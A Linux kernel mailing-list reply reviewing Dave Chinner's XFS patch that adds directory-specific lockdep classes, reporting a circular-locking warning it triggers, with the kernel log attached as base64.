Add a new lockdep class for directory inodes to avoid this false > positive. > > Signed-off-by: Dave Chinner > --- Hey Dave, I'm not terribly familiar with lockdep, but I hit the attached "possible circular locking dependency detected" warning when running with this patch. (Reproduces by running generic/001 after a reboot). Brian > fs/xfs/xfs_iops.c | 14 ++++++++++++++ > 1 file changed, 14 insertions(+) > > diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c > index 9ddfb81..bb3bb65 100644 > --- a/fs/xfs/xfs_iops.c > +++ b/fs/xfs/xfs_iops.c > @@ -48,6 +48,18 @@ > #include > #include > > +/* > + * Directories have different lock order w.r.t. mmap_sem compared to regular > + * files. This is due to readdir potentially triggering page faults on a user > + * buffer inside filldir(), and this happens with the ilock on the directory > + * held. For regular files, the lock order is the other way around - the > + * mmap_sem is taken during the page fault, and then we lock the ilock to do > + * block mapping. Hence we need a different class for the directory ilock so > + * that lockdep can tell them apart. > + */ > +static struct lock_class_key xfs_nondir_ilock_class; > +static struct lock_class_key xfs_dir_ilock_class; > + > static int > xfs_initxattrs( > struct inode *inode, > @@ -1191,6 +1203,7 @@ xfs_setup_inode( > xfs_diflags_to_iflags(inode, ip); > > ip->d_ops = ip->i_mount->m_nondir_inode_ops; > + lockdep_set_class(&ip->i_lock.mr_lock, &xfs_nondir_ilock_class); > switch (inode->i_mode & S_IFMT) { > case S_IFREG: > inode->i_op = &xfs_inode_operations; > @@ -1198,6 +1211,7 @@ xfs_setup_inode( > inode->i_mapping->a_ops = &xfs_address_space_operations; > break; > case S_IFDIR: > + lockdep_set_class(&ip->i_lock.mr_lock, &xfs_dir_ilock_class); > if (xfs_sb_version_hasasciici(&XFS_M(inode->i_sb)->m_sb)) > inode->i_op = &xfs_dir_ci_inode_operations; > else > --------------040905030403000703090303 Content-Type: text/plain; charset=UTF-8; name="messages.lockdep" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="messages.lockdep" RmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODY3MjVdIApGZWIg MTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogWyAgMTAxLjQ4NjkwM10gPT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CkZlYiAxOSAx MjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSBbIElORk86IHBvc3Np YmxlIGNpcmN1bGFyIGxvY2tpbmcgZGVwZW5kZW5jeSBkZXRlY3RlZCBdCkZlYiAxOSAxMjoy MjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSAzLjE0LjAtcmMxKyAjNiBU YWludGVkOiBHRiAgICAgICBXICBPCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVs OiBbICAxMDEuNDg3MDE4XSAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBb ICAxMDEuNDg3MDE4XSBybS80MTcxIGlzIHRyeWluZyB0byBhY3F1aXJlIGxvY2s6CkZlYiAx OSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSAgKCZtbS0+bW1h cF9zZW0peysrKysrK30sIGF0OiBbPGZmZmZmZmZmODExY2M4Y2Y+XSBtaWdodF9mYXVsdCsw eDVmLzB4YjAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcw MThdIApGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogWyAgMTAxLjQ4NzAxOF0g YnV0IHRhc2sgaXMgYWxyZWFkeSBob2xkaW5nIGxvY2s6CkZlYiAxOSAxMjoyMjowMyBsb2Nh bGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSAgKCZ4ZnNfZGlyX2lsb2NrX2NsYXNzKXsr KysrLi59LCBhdDogWzxmZmZmZmZmZmEwNWEwMDIyPl0geGZzX2lsb2NrKzB4MTIyLzB4MjUw IFt4ZnNdCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4 XSAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThdIHdo aWNoIGxvY2sgYWxyZWFkeSBkZXBlbmRzIG9uIHRoZSBuZXcgbG9jay4KRmViIDE5IDEyOjIy OjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThdIApGZWIgMTkgMTI6MjI6MDMg bG9jYWxob3N0IGtlcm5lbDogWyAgMTAxLjQ4NzAxOF0gCkZlYiAxOSAxMjoyMjowMyBsb2Nh bGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSB0aGUgZXhpc3RpbmcgZGVwZW5kZW5jeSBj aGFpbiAoaW4gcmV2ZXJzZSBvcmRlcikgaXM6CkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qg a2VybmVsOiBbICAxMDEuNDg3MDE4XSAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJu ZWw6IFsgIDEwMS40ODcwMThdIC0+ICMyICgmeGZzX2Rpcl9pbG9ja19jbGFzcyl7KysrKy4u fToKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThdICAg ICAgICBbPGZmZmZmZmZmODEwZjNlYzI+XSBsb2NrX2FjcXVpcmUrMHhhMi8weDFkMApGZWIg MTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogWyAgMTAxLjQ4NzAxOF0gICAgICAgIFs8 ZmZmZmZmZmY4MTBlZDE0Nz5dIGRvd25fcmVhZF9uZXN0ZWQrMHg1Ny8weGEwCkZlYiAxOSAx MjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSAgICAgICAgWzxmZmZm ZmZmZmEwNWEwMDIyPl0geGZzX2lsb2NrKzB4MTIyLzB4MjUwIFt4ZnNdCkZlYiAxOSAxMjoy MjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSAgICAgICAgWzxmZmZmZmZm ZmEwNWEwMWFmPl0geGZzX2lsb2NrX2F0dHJfbWFwX3NoYXJlZCsweDFmLzB4NTAgW3hmc10K RmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThdICAgICAg ICBbPGZmZmZmZmZmYTA1NjVkNTA+XSB4ZnNfYXR0cl9nZXQrMHg5MC8weGUwIFt4ZnNdCkZl YiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSAgICAgICAg WzxmZmZmZmZmZmEwNTViOWQ3Pl0geGZzX3hhdHRyX2dldCsweDM3LzB4NTAgW3hmc10KRmVi IDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThdICAgICAgICBb PGZmZmZmZmZmODEyNDgzZWY+XSBnZW5lcmljX2dldHhhdHRyKzB4NGYvMHg3MApGZWIgMTkg MTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogWyAgMTAxLjQ4NzAxOF0gICAgICAgIFs8ZmZm ZmZmZmY4MTMzZmQ1ZT5dIGlub2RlX2RvaW5pdF93aXRoX2RlbnRyeSsweDFhZS8weDY1MApG ZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogWyAgMTAxLjQ4NzAxOF0gICAgICAg IFs8ZmZmZmZmZmY4MTM0MDJkOD5dIHNiX2ZpbmlzaF9zZXRfb3B0cysweGQ4LzB4MjcwCkZl YiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSAgICAgICAg WzxmZmZmZmZmZjgxMzQwNzAyPl0gc2VsaW51eF9zZXRfbW50X29wdHMrMHgyOTIvMHg1ZjAK RmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThdICAgICAg ICBbPGZmZmZmZmZmODEzNDBhYzg+XSBzdXBlcmJsb2NrX2RvaW5pdCsweDY4LzB4ZDAKRmVi IDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThdICAgICAgICBb PGZmZmZmZmZmODEzNDBiOGQ+XSBzZWxpbnV4X3NiX2tlcm5fbW91bnQrMHgzZC8weGEwCkZl YiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSAgICAgICAg WzxmZmZmZmZmZjgxMzM1NTM2Pl0gc2VjdXJpdHlfc2Jfa2Vybl9tb3VudCsweDE2LzB4MjAK RmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThdICAgICAg ICBbPGZmZmZmZmZmODEyMjMzM2E+XSBtb3VudF9mcysweDhhLzB4MWIwCkZlYiAxOSAxMjoy MjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSAgICAgICAgWzxmZmZmZmZm ZjgxMjQyODViPl0gdmZzX2tlcm5fbW91bnQrMHg2Yi8weDE1MApGZWIgMTkgMTI6MjI6MDMg bG9jYWxob3N0IGtlcm5lbDogWyAgMTAxLjQ4NzAxOF0gICAgICAgIFs8ZmZmZmZmZmY4MTI0 NTYxZT5dIGRvX21vdW50KzB4MjNlLzB4YjkwCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qg a2VybmVsOiBbICAxMDEuNDg3MDE4XSAgICAgICAgWzxmZmZmZmZmZjgxMjQ2MmEzPl0gU3lT X21vdW50KzB4ODMvMHhjMApGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogWyAg MTAxLjQ4NzAxOF0gICAgICAgIFs8ZmZmZmZmZmY4MTc4ZWQ2OT5dIHN5c3RlbV9jYWxsX2Zh c3RwYXRoKzB4MTYvMHgxYgpGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogWyAg MTAxLjQ4NzAxOF0gCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEu NDg3MDE4XSAtPiAjMSAoJmlzZWMtPmxvY2speysuKy4rLn06CkZlYiAxOSAxMjoyMjowMyBs b2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSAgICAgICAgWzxmZmZmZmZmZjgxMGYz ZWMyPl0gbG9ja19hY3F1aXJlKzB4YTIvMHgxZDAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9z dCBrZXJuZWw6IFsgIDEwMS40ODcwMThdICAgICAgICBbPGZmZmZmZmZmODE3ODBkNzc+XSBt dXRleF9sb2NrX25lc3RlZCsweDc3LzB4M2YwCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qg a2VybmVsOiBbICAxMDEuNDg3MDE4XSAgICAgICAgWzxmZmZmZmZmZjgxMzNmYzQyPl0gaW5v ZGVfZG9pbml0X3dpdGhfZGVudHJ5KzB4OTIvMHg2NTAKRmViIDE5IDEyOjIyOjAzIGxvY2Fs aG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThdICAgICAgICBbPGZmZmZmZmZmODEzNDBkY2M+ XSBzZWxpbnV4X2RfaW5zdGFudGlhdGUrMHgxYy8weDIwCkZlYiAxOSAxMjoyMjowMyBsb2Nh bGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSAgICAgICAgWzxmZmZmZmZmZjgxMzM1MTdi Pl0gc2VjdXJpdHlfZF9pbnN0YW50aWF0ZSsweDFiLzB4MzAKRmViIDE5IDEyOjIyOjAzIGxv Y2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThdICAgICAgICBbPGZmZmZmZmZmODEyMzdk NzA+XSBkX2luc3RhbnRpYXRlKzB4NTAvMHg3MApGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0 IGtlcm5lbDogWyAgMTAxLjQ4NzAxOF0gICAgICAgIFs8ZmZmZmZmZmY4MTFiY2I3MD5dIF9f c2htZW1fZmlsZV9zZXR1cCsweGUwLzB4MWQwCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qg a2VybmVsOiBbICAxMDEuNDg3MDE4XSAgICAgICAgWzxmZmZmZmZmZjgxMWJmOTg4Pl0gc2ht ZW1femVyb19zZXR1cCsweDI4LzB4NzAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJu ZWw6IFsgIDEwMS40ODcwMThdICAgICAgICBbPGZmZmZmZmZmODExZDg2NTM+XSBtbWFwX3Jl Z2lvbisweDU0My8weDVhMApGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogWyAg MTAxLjQ4NzAxOF0gICAgICAgIFs8ZmZmZmZmZmY4MTFkODliMT5dIGRvX21tYXBfcGdvZmYr MHgzMDEvMHgzYzAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40 ODcwMThdICAgICAgICBbPGZmZmZmZmZmODExYzE4ZjA+XSB2bV9tbWFwX3Bnb2ZmKzB4OTAv MHhjMApGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogWyAgMTAxLjQ4NzAxOF0g ICAgICAgIFs8ZmZmZmZmZmY4MTFkNmYyNj5dIFN5U19tbWFwX3Bnb2ZmKzB4MTE2LzB4Mjcw CkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSAgICAg ICAgWzxmZmZmZmZmZjgxMDFmOWIyPl0gU3lTX21tYXArMHgyMi8weDMwCkZlYiAxOSAxMjoy MjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSAgICAgICAgWzxmZmZmZmZm ZjgxNzhlZDY5Pl0gc3lzdGVtX2NhbGxfZmFzdHBhdGgrMHgxNi8weDFiCkZlYiAxOSAxMjoy MjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSAKRmViIDE5IDEyOjIyOjAz IGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThdIC0+ICMwICgmbW0tPm1tYXBfc2Vt KXsrKysrKyt9OgpGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogWyAgMTAxLjQ4 NzAxOF0gICAgICAgIFs8ZmZmZmZmZmY4MTBmMzUxYz5dIF9fbG9ja19hY3F1aXJlKzB4MThl Yy8weDFhYTAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcw MThdICAgICAgICBbPGZmZmZmZmZmODEwZjNlYzI+XSBsb2NrX2FjcXVpcmUrMHhhMi8weDFk MApGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogWyAgMTAxLjQ4NzAxOF0gICAg ICAgIFs8ZmZmZmZmZmY4MTFjYzhmYz5dIG1pZ2h0X2ZhdWx0KzB4OGMvMHhiMApGZWIgMTkg MTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogWyAgMTAxLjQ4NzAxOF0gICAgICAgIFs8ZmZm ZmZmZmY4MTIzNDFjMT5dIGZpbGxkaXIrMHg5MS8weDEyMApGZWIgMTkgMTI6MjI6MDMgbG9j YWxob3N0IGtlcm5lbDogWyAgMTAxLjQ4NzAxOF0gICAgICAgIFs8ZmZmZmZmZmZhMDUzZjJm Nz5dIHhmc19kaXIyX3NmX2dldGRlbnRzKzB4MzE3LzB4MzgwIFt4ZnNdCkZlYiAxOSAxMjoy MjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSAgICAgICAgWzxmZmZmZmZm ZmEwNTQwMDFiPl0geGZzX3JlYWRkaXIrMHgxNmIvMHgyMzAgW3hmc10KRmViIDE5IDEyOjIy OjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThdICAgICAgICBbPGZmZmZmZmZm YTA1NDI3ZmI+XSB4ZnNfZmlsZV9yZWFkZGlyKzB4MmIvMHg0MCBbeGZzXQpGZWIgMTkgMTI6 MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogWyAgMTAxLjQ4NzAxOF0gICAgICAgIFs8ZmZmZmZm ZmY4MTIzNDAwOD5dIGl0ZXJhdGVfZGlyKzB4YTgvMHhlMApGZWIgMTkgMTI6MjI6MDMgbG9j YWxob3N0IGtlcm5lbDogWyAgMTAxLjQ4NzAxOF0gICAgICAgIFs8ZmZmZmZmZmY4MTIzNDRi Mz5dIFN5U19nZXRkZW50cysweDkzLzB4MTIwCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qg a2VybmVsOiBbICAxMDEuNDg3MDE4XSAgICAgICAgWzxmZmZmZmZmZjgxNzhlZDY5Pl0gc3lz dGVtX2NhbGxfZmFzdHBhdGgrMHgxNi8weDFiCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qg a2VybmVsOiBbICAxMDEuNDg3MDE4XSAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJu ZWw6IFsgIDEwMS40ODcwMThdIG90aGVyIGluZm8gdGhhdCBtaWdodCBoZWxwIHVzIGRlYnVn IHRoaXM6CkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4 XSAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThdIENo YWluIGV4aXN0cyBvZjoKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEw MS40ODcwMThdICAgJm1tLT5tbWFwX3NlbSAtLT4gJmlzZWMtPmxvY2sgLS0+ICZ4ZnNfZGly X2lsb2NrX2NsYXNzCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEu NDg3MDE4XSAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcw MThdICBQb3NzaWJsZSB1bnNhZmUgbG9ja2luZyBzY2VuYXJpbzoKRmViIDE5IDEyOjIyOjAz IGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThdIApGZWIgMTkgMTI6MjI6MDMgbG9j YWxob3N0IGtlcm5lbDogWyAgMTAxLjQ4NzAxOF0gICAgICAgIENQVTAgICAgICAgICAgICAg ICAgICAgIENQVTEKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40 ODcwMThdICAgICAgICAtLS0tICAgICAgICAgICAgICAgICAgICAtLS0tCkZlYiAxOSAxMjoy MjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSAgIGxvY2soJnhmc19kaXJf aWxvY2tfY2xhc3MpOwpGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogWyAgMTAx LjQ4NzAxOF0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvY2soJmlzZWMtPmxv Y2spOwpGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogWyAgMTAxLjQ4NzAxOF0g ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvY2soJnhmc19kaXJfaWxvY2tfY2xh c3MpOwpGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogWyAgMTAxLjQ4NzAxOF0g ICBsb2NrKCZtbS0+bW1hcF9zZW0pOwpGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5l bDogWyAgMTAxLjQ4NzAxOF0gCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBb ICAxMDEuNDg3MDE4XSAgKioqIERFQURMT0NLICoqKgpGZWIgMTkgMTI6MjI6MDMgbG9jYWxo b3N0IGtlcm5lbDogWyAgMTAxLjQ4NzAxOF0gCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qg a2VybmVsOiBbICAxMDEuNDg3MDE4XSAyIGxvY2tzIGhlbGQgYnkgcm0vNDE3MToKRmViIDE5 IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThdICAjMDogICgmdHlw ZS0+aV9tdXRleF9kaXJfa2V5IzQpeysuKy4rLn0sIGF0OiBbPGZmZmZmZmZmODEyMzNmYzI+ XSBpdGVyYXRlX2RpcisweDYyLzB4ZTAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJu ZWw6IFsgIDEwMS40ODcwMThdICAjMTogICgmeGZzX2Rpcl9pbG9ja19jbGFzcyl7KysrKy4u fSwgYXQ6IFs8ZmZmZmZmZmZhMDVhMDAyMj5dIHhmc19pbG9jaysweDEyMi8weDI1MCBbeGZz XQpGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogWyAgMTAxLjQ4NzAxOF0gCkZl YiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSBzdGFjayBi YWNrdHJhY2U6CkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3 MDE4XSBDUFU6IDEgUElEOiA0MTcxIENvbW06IHJtIFRhaW50ZWQ6IEdGICAgICAgIFcgIE8g My4xNC4wLXJjMSsgIzYKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEw MS40ODcwMThdIEhhcmR3YXJlIG5hbWU6IEJvY2hzIEJvY2hzLCBCSU9TIEJvY2hzIDAxLzAx LzIwMTEKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThd ICBmZmZmZmZmZjgyNTk3ZDgwIGZmZmY4ODAwYzQzY2RjNjAgZmZmZmZmZmY4MTc3YmE5MCBm ZmZmZmZmZjgyNWNkOWMwCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAx MDEuNDg3MDE4XSAgZmZmZjg4MDBjNDNjZGNhMCBmZmZmZmZmZjgxNzc3MTY4IGZmZmY4ODAw YzQzY2RjZjAgZmZmZjg4MDBkNDRiYTYzMApGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtl cm5lbDogWyAgMTAxLjQ4NzAxOF0gIGZmZmY4ODAwZDQ0YjlhYTAgMDAwMDAwMDAwMDAwMDAw MiAwMDAwMDAwMDAwMDAwMDAyIGZmZmY4ODAwZDQ0YmE2MzAKRmViIDE5IDEyOjIyOjAzIGxv Y2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThdIENhbGwgVHJhY2U6CkZlYiAxOSAxMjoy MjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSAgWzxmZmZmZmZmZjgxNzdi YTkwPl0gZHVtcF9zdGFjaysweDRkLzB4NjYKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBr ZXJuZWw6IFsgIDEwMS40ODcwMThdICBbPGZmZmZmZmZmODE3NzcxNjg+XSBwcmludF9jaXJj dWxhcl9idWcrMHgyMDEvMHgyMGYKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6 IFsgIDEwMS40ODcwMThdICBbPGZmZmZmZmZmODEwZjM1MWM+XSBfX2xvY2tfYWNxdWlyZSsw eDE4ZWMvMHgxYWEwCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEu NDg3MDE4XSAgWzxmZmZmZmZmZjgxMGYzZWMyPl0gbG9ja19hY3F1aXJlKzB4YTIvMHgxZDAK RmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThdICBbPGZm ZmZmZmZmODExY2M4Y2Y+XSA/IG1pZ2h0X2ZhdWx0KzB4NWYvMHhiMApGZWIgMTkgMTI6MjI6 MDMgbG9jYWxob3N0IGtlcm5lbDogWyAgMTAxLjQ4NzAxOF0gIFs8ZmZmZmZmZmY4MTFjYzhm Yz5dIG1pZ2h0X2ZhdWx0KzB4OGMvMHhiMApGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtl cm5lbDogWyAgMTAxLjQ4NzAxOF0gIFs8ZmZmZmZmZmY4MTFjYzhjZj5dID8gbWlnaHRfZmF1 bHQrMHg1Zi8weGIwCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEu NDg3MDE4XSAgWzxmZmZmZmZmZjgxMjM0MWMxPl0gZmlsbGRpcisweDkxLzB4MTIwCkZlYiAx OSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSAgWzxmZmZmZmZm ZmEwNTNmMmY3Pl0geGZzX2RpcjJfc2ZfZ2V0ZGVudHMrMHgzMTcvMHgzODAgW3hmc10KRmVi IDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThdICBbPGZmZmZm ZmZmYTA1YTAwMjI+XSA/IHhmc19pbG9jaysweDEyMi8weDI1MCBbeGZzXQpGZWIgMTkgMTI6 MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogWyAgMTAxLjQ4NzAxOF0gIFs8ZmZmZmZmZmZhMDU0 MDAxYj5dIHhmc19yZWFkZGlyKzB4MTZiLzB4MjMwIFt4ZnNdCkZlYiAxOSAxMjoyMjowMyBs b2NhbGhvc3Qga2VybmVsOiBbICAxMDEuNDg3MDE4XSAgWzxmZmZmZmZmZmEwNTQyN2ZiPl0g eGZzX2ZpbGVfcmVhZGRpcisweDJiLzB4NDAgW3hmc10KRmViIDE5IDEyOjIyOjAzIGxvY2Fs aG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThdICBbPGZmZmZmZmZmODEyMzQwMDg+XSBpdGVy YXRlX2RpcisweGE4LzB4ZTAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsg IDEwMS40ODcwMThdICBbPGZmZmZmZmZmODEyMzQ0YjM+XSBTeVNfZ2V0ZGVudHMrMHg5My8w eDEyMApGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogWyAgMTAxLjQ4NzAxOF0g IFs8ZmZmZmZmZmY4MTIzNDEzMD5dID8gZmlsbG9uZWRpcisweGYwLzB4ZjAKRmViIDE5IDEy OjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThdICBbPGZmZmZmZmZmODEx NGEyY2M+XSA/IF9fYXVkaXRfc3lzY2FsbF9lbnRyeSsweDljLzB4ZjAKRmViIDE5IDEyOjIy OjAzIGxvY2FsaG9zdCBrZXJuZWw6IFsgIDEwMS40ODcwMThdICBbPGZmZmZmZmZmODE3OGVk Njk+XSBzeXN0ZW1fY2FsbF9mYXN0cGF0aCsweDE2LzB4MWIKRmViIDE5IDEyOjIyOjAzIGxv Y2FsaG9zdCBrZXJuZWw6IApGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CkZl YiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbIElORk86IHBvc3NpYmxlIGNpcmN1 bGFyIGxvY2tpbmcgZGVwZW5kZW5jeSBkZXRlY3RlZCBdCkZlYiAxOSAxMjoyMjowMyBsb2Nh bGhvc3Qga2VybmVsOiAzLjE0LjAtcmMxKyAjNiBUYWludGVkOiBHRiAgICAgICBXICBPCkZl YiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCkZlYiAxOSAxMjoyMjowMyBsb2Nh bGhvc3Qga2VybmVsOiBybS80MTcxIGlzIHRyeWluZyB0byBhY3F1aXJlIGxvY2s6CkZlYiAx OSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiAoJm1tLT5tbWFwX3NlbSl7KysrKysrfSwg YXQ6IFs8ZmZmZmZmZmY4MTFjYzhjZj5dIG1pZ2h0X2ZhdWx0KzB4NWYvMHhiMApGZWIgMTkg MTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogCmJ1dCB0YXNrIGlzIGFscmVhZHkgaG9sZGlu ZyBsb2NrOgpGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogKCZ4ZnNfZGlyX2ls b2NrX2NsYXNzKXsrKysrLi59LCBhdDogWzxmZmZmZmZmZmEwNWEwMDIyPl0geGZzX2lsb2Nr KzB4MTIyLzB4MjUwIFt4ZnNdCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiAK d2hpY2ggbG9jayBhbHJlYWR5IGRlcGVuZHMgb24gdGhlIG5ldyBsb2NrLgoKRmViIDE5IDEy 